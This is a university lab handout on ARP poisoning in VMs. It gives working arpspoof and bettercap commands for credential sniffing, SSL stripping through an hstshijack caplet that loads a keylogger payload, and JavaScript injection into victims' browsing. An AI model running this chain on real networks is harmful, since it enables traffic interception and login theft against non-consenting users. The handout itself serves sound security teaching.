Lab 4

ARP Poisoning (Spoofing)

NOTE: Make sure that three VMs, Kali, Metasploitable2 and Ubuntu, are attached to "NAT Network". (You can configure Ubuntu's network in the same way as you did for Kali VM.) Check whether VMs communicate with each other through NAT Network using the `ping` command.

1. Preparation

   (a) Run the following commands to install dsniff and bettercap
   ```
   apt-get update
   apt-get install dsniff -y
   apt-get install bettercap -y
   apt-get install gedit -y
   ```
   Did you remember to take a snapshot before running the above?

   (b) Make sure both Kali and Metasplotable2 VMs are turned on. Find out both VM's IP and MAC addresses. (Write or save them somewhere.)

   (c) We first need to gather some information about devices attached to our network interface. On Kali VM, run `arp –a` and see what happens. If you cannot see Metasploitable2's IP, ping it and run arp –a again. (Note that arp is a network tool to display and modify the Address Resolution Protocol (ARP) cache.)

   (d) We can run the netdiscover tool to get similar results. Try `netdiscover -i eth0 -r 10.0.2.1/24`. You may get less information than arp and it may take more time.

   (e) Note that VMs are attached to your network interface, which is usually "`eth0`". Pay attention to IP and MAC addresses of gateway. If "gateway" is not shown, run `route –n` and get IP address of the gateway. Write down the IP and MAC addresses of the gateway.

2. Performing ARP Poisoning using arpspoof

   (a) Launch two terminals on Kali VM.

   (b) We need to make `ip_forward` enable: On terminal, type
   ```
   echo 1 > /proc/sys/net/ipv4/ip_forward
   ```
   (Here, be careful about a space between "`echo`", "`1`" and "`>`" .)
   You can check the value is set successfully by typing the following command at terminal. The output must be 1:
   ```
   head /proc/sys/net/ipv4/ip_forward
   ```

(c) Now we use the tool arpspoof
`apt install dsniff`
Did you remember to take a snapshot?)

On the first terminal window, issue:
`arpspoof –i eth0 –t <Meta IP> <Gateway IP>`

On the second terminal window, issue:
`arpspoof –i eth0 –t <Gateway IP> <Meta IP>`

(d) Now go back to Metasploitable terminal and type `arp –a`. What is the MAC address of the gateway?

3. Checking ARP poisoning with Wireshark

Continuing the ARP poisoning attack from the previous task:

(a) Open another terminal window and type wireshark on terminal and start to capture packets. Observe what is happening. What is the evidence that the ARP poisoning is happening in the network?

(b) After you have done the task, press `ctrl+c` on the two terminals running `arpspoof` to exit. (You may have to press enter a few times.)

4. Performing ARP poisoning using Bettercap

Bettercap is another handy tool for performing ARP poisoning. To install it, issue the following commands on terminal consecutively:

```
apt-get update
apt-get install bettercap
```

(if you get an error like " E: Unable to locate package", you should add the line
`deb http://http.kali.org/kali kali-rolling main non-free contrib` in the file /etc/apt/sources.list .
You can use any text editor to do this.)

Now, turn on Ubuntu machine and check its IP. On the terminal, issue
`ip address show`
(or `ifconfig`) to check Ubuntu IP.

(To check Ubuntu's IP, we can run ifconfig, of course. If you do it, you may get an error message saying that your system does not have ifconfig and you need to run `sudo apt install net-tools` to install it. If this works for you, that's good, you can install and use ifconfig. But the installation may not work. If you use the latest version of Ubuntu, you can install the net-tools package easily, but the version 18.04 does not seem to work with the current apt repository well.)

(a) On Kali, simple type `bettercap` to run Bettercap. When it runs, issue `help` to see what modules are available in Bettercap. Issue `net.probe on`.
What happens?

(b) To see the result more nicely, issue `net.show`.
You will see something similar to when you ran `arp -a`.

(c) Now type `help arp.spoof on`.
You will see the options we need to set for performing arp poisoning.

(d) Run the following commands:

```
set arp.spoof.fullduplex true
set arp.spoof.targets <Ubuntu IP>
arp.spoof on
```

(e) Go to Ubuntu and run `ip neigh show` (or `arp -a`) to check the gateway IP. The network interface name could be something like "enp0s3". Confirm the gateway MAC address has been changed to Kali's MAC address.

(f) To quit Bettercap, you just issue `quit`.

5. Capturing sensitive information through Bettercap

(a) Go back to Kali. Now, issue a bettercap command `net.sniff on`.

(b) Go back to Ubuntu and visit http://testphp.vulnweb.com/login.php from the browser. Put any username and password. Come back to Kali and from the terminal where bettercap is running, scroll up to find your username and password!

6. Caplet in Bettercap

It is tedious to put a series of commands in Bettercap all the time. Fortunately, Bettercap provides so-called "caplet (bettercap script)", so we can do our task more efficiently.

(a) Open any text editor (like gedit) and type the series of commands we put to perform arpspoof on Bettercap:

```
net.probe on
set arp.spoof.fullduplex true
set arp.spoof.targets <Ubuntu IP>
arp.spoof on
net.sniff on
```

and save the file as arpspf.cap (in the root directory).

(b) Then issue the following command on terminal:
`bettercap -iface eth0 -caplet arpspf.cap`
What happens? How do you check arp spoofing is active?

(c) Quit Bettercap for a moment.

7. SSL strip using Bettercap

We learned that these days, most websites provide https service. Therefore, it is hard to gather traffic in plaintext. We can use Bettercap to perform SSL strip to downgrade https website to http one. To do this, we need to run a hstshijack caplet in Bettercap. However, the default one does not work. So a number of people modified it (through GitHub, etc). I found a functional one and placed in the Moodle. Please download the file named "hstshijack.zip".

(a) Decompress the zip file and copy the whole directory "hstshijack" to /usr/**local**/share/bettercap/caplets. (You can use file explorer!)

(b) Add `set net.sniff.local true` just before `net.sniff` in the arpspf.cap file we created in the previous task.

(c) Issue `bettercap -iface eth0 -caplet arpspf.cap` on terminal. Then, on Bettercap, type hstshijack/hstshijack (You can use tab key to auto-complete this.)

(d) Go to Ubuntu. Open the Firefox browser. **[IMPORTANT]** Then, delete every history and cached data from "Preferences". (This is to prevent the browser from loading the original https site based on cached data and information.)

(e) Visit stackoverflow.com. What happens? Enter any username and password.

(f) Go back to Kali and scroll up the terminal bar where Bettercap is running to find the username and password. This is possible as the https site has been downgraded, i.e. SSL strip worked!

(g) Go to Ubuntu again and try to visit other https websites including www.uow.edu.au.

(h) Quit Bettercap

8. Code injection using Bettercap

We can also inject a javascript code so that it can be executed whenever the victim visits websites.

(a) Open a text editor, type `alert('You are hacked!');` and save it as alert.js.

(b) Go to /usr/share/bettercap/caplets/hstshijack and open hstshijack.cap using a text editor. Locate set `hstshijack.payloads` and add **`,*:/root/alert.js`** at the end of the line. It should look like this:

```
set hstshijack.payloads
*:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijac
k.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/
sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/pa
yloads/keylogger.js,*:/root/alert.js
```

(c) Issue `bettercap -iface eth0 -caplet arpspf.cap` on terminal. Then, on Bettercap, type `hstshijack/hstshijack`.

(d) Go to Ubuntu and visit any websites. What happens? (You may have to clear all the history again.)

9. Scapy again (Additional challenge)

(a) Instead of Arpspoof or Bettercap, use Scapy to perform arp spoofing